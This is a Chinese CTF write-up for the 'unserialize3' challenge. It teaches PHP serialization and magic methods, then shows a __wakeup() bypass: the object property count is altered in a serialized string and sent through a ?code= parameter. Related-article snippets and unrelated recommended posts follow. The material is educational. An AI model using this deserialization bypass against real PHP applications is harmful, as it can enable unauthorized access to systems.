unserialize3
0x01序列化与反序列化
- 序列化:将变量转换为可保存或传输的字符串的过程。
- 反序列化:在适当的的时候把这个字符串再转化成原来的变量使用。
优点:
- 存储和传输数据更方便,使程序维护性更高。
函数:
serialize,unserialize,json_encode,json_decode,
1、serialize、unserialize
<?php
$a="aaaa";
$a=serialize($a);//字符序列化
echo $a;
echo unserialize($a);//字符反序列化
echo PHP_EOL;
$b=array("aaaa","bb","c");
$b=serialize($b);//数组序列化
echo $b;
$b=unserialize($b);//数组反序列化
var_dump($b);
echo PHP_EOL;
s:4:"aaaa";aaaa
a:3:{i:0;s:4:"aaaa";i:1;s:2:"bb";i:2;s:1:"c";}array(3) {
[0]=>
string(4) "aaaa"
[1]=>
string(2) "bb"
[2]=>
string(1) "c"
}
?>
各个字符的意义:
o:表示对象
a:表示数组
s:表示字符
i:表示数字
//s表示字符,4表示有4个字符,内容为"aaaa"
//a表示数组,3表示有三个变量值,i:0表示第一个变量,s为字符串,4位4个字符
当数组值包含单双引号或冒号时,序列化后容易出现问题。所以,采用base64_encode和base64decode。
<?php
$a = array("a","b","c");
$a=base64_encode(serialize($a));
echo $a;
echo PHP_EOL;
$b=unserialize(base64_decode($a));
var_dump($b);
YTozOntpOjA7czoxOiJhIjtpOjE7czoxOiJiIjtpOjI7czoxOiJjIjt9
array(3) {
[0]=>
string(1) "a"
[1]=>
string(1) "b"
[2]=>
string(1) "c"
}
?>
但是采用base64编码后,增加了字符串长度,增加了存储空间,所以使用gzcompress、gzuncompress压缩字符串。
<?php
$a = array("a","b","c");
$b=base64_encode(serialize($a));
$c=base64_encode(gzcompress(serialize($a)));
echo $b;
echo PHP_EOL;
echo $c;
echo PHP_EOL;
$d=unserialize(base64_decode($b));
$e=unserialize(gzuncompress(base64_decode($c)));
var_dump($d);
echo PHP_EOL;
var_dump($e);
0x02魔术方法
- PHP将所有以__开头的类方法保存为魔术方法,所以在定义方法时,除了魔术方法,不要以__为前缀。
- serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被先调用,然后执行序列化操作,此功能用于清理对象。
- unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,先调用。
- __wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,绕过点。
0x03代码分析
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
//绕过__wakeup()魔术函数,得到flag
运行php代码,创建对象,序列化变量
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo serialize($a);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
?>
修改属性值O:4:"xctf":2:{s:4:"flag";s:3:"111";},1->2
code传参
得到flag
参考链接:
https://www.cnblogs.com/dayin1/p/11465832.html
https://www.jianshu.com/p/8f498198fc3d
https://blog.csdn.net/zz_Caleb/article/details/89361250
unserialize3的更多相关文章
- 攻防世界(十三)unserialize3
攻防世界系列 :unserialize3 1.打开题目,反序列化 2.代码审计 类xctf被调用时_weakeup()函数会被自动执行,但当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常, ...
- php反序列化-unserialize3
目录 unserialize3-php反序列化 unserialize3 unserialize3-php反序列化 unserialize3 环境地址:https://adworld.xctf.org ...
- 攻防世界 WEB 高手进阶区 unserialize3 Writeup
攻防世界 WEB 高手进阶区 unserialize3 Writeup 题目介绍 题目考点 PHP反序列化 __wakeup漏洞 Writeup 题名 unserialize 是反序列化函数名 了解一 ...
- 攻防世界 unserialize3
unserialize3 class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } ...
- xctf进阶-unserialize3反序列化
一道反序列化题: 打开后给出了一个php类,我们可以控制code值: `unserialize()` 会检查是否存在一个 `__wakeup()` 方法.如果存在,则会先调用 `__wakeup` 方 ...
- unserialize3 攻防世界
序列化是将对象转换为便于保存的字符串, 而反序列化是将便于保存的字符串转换为字符串. _wakeup()魔法方法 如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他, 利用__ ...
- 攻防世界(XCTF)WEB(进阶区)write up(三)
挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...
- 攻防世界 - Web(一)
baby_web: 1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显, 2.在header中获取flag, flag: ...
- 攻防世界 WriteUp
附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...
随机推荐
- TensorFlow命令行参数FLAGS使用
import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' import tensorflow as tf #tensorboard --logdir=&qu ...
- 理解java容器底层原理--手动实现HashSet
HashSet的底层其实就是HashMap,换句话说HashSet就是简化版的HashMap. 直接上代码: package com.xzlf.collection2; import java.uti ...
- 一个老牌程序员推荐的JavaScript的书籍,看了真的不后悔!
很多人问我怎么学前端?我的回答是:读书吧!相对于在网上学习,在项目中学习和跟着有经验的同事学习,书中有着相对完整的知识体系,每读一本好书都会带来一次全面的提高.而如果深一脚浅一脚的学习,写出代码的质量 ...
- [Qt] 打开Diskmgmt
QProcess mOpenDiskMgmt; QString program = "cmd"; QStringList arguments; arguments << ...
- Qt 的日期 时间
QDateTime 的构造函数,有参数是QDate的.这样就可以把日期转化成 QDateTime. QDateTime.toTime_t() 可以转化成 Unix 时间.
- cocos2dx初体验
我们创建工程后总会自带一个HelloWorld类,短短的几行代码就出来了一个游戏的雏形,请问我们真的理解它了吗?如果我们能早一点弄明白这几行代码,我们或许会比现在走得更远. 理解HelloWorld类 ...
- Docker镜像与仓库(四)
Dockerfile方式创建镜像 https://hub.docker.com/_/centos/ #找一个centos6.6 的dockerfile链接 [root@linux-node1 ~]# ...
- maven过滤配置文件
第一种方式, 解决maven打包时,会编译特定文件导致文件不可用maven打包时,过滤不编译文件类型 <plugin> <groupId>org.apache.maven ...
- MYSQL 排序和分组
一.MYSQL 中有两种排序方式: 1:通过有序索引顺序扫描直接返回有序数据,这种方式在使用explain 分析查询的时候显示为Using Index ,不需要额外的排序,操作效率较高. 2: 是通过 ...
- 数学--数论--中国剩余定理 拓展 HDU 1788
再次进行中国余数定理 问题描述 我知道部分同学最近在看中国剩余定理,就这个定理本身,还是比较简单的: 假设m1,m2,-,mk两两互素,则下面同余方程组: x≡a1(mod m1) x≡ a2(mod ...